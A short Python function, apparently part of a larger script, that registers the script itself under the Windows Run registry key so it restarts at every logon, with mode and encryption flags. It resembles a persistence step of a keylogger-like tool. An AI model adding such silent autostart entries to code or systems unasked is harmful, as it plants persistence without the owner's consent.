def add_to_startup():
    key_val = r'Software\Microsoft\Windows\CurrentVersion\Run'

    key2change = OpenKey(HKEY_CURRENT_USER,
                         key_val, 0, KEY_ALL_ACCESS)
    if executable:
        reg_value_prefix, reg_value_postfix = '', ''
    else:
        reg_value_prefix = 'CMD /k "cd ' + dir_path + ' && ' + PYTHON_EXEC_PATH + ' '
        reg_value_postfix = '"'
    reg_value = reg_value_prefix + '"' + current_file_path + '" ' + mode + \
                (' encrypt' if encryption_on else '') + reg_value_postfix
    try:
        SetValueEx(key2change, "Start", 0, REG_SZ, reg_value)
    except Exception as e:
        print(e)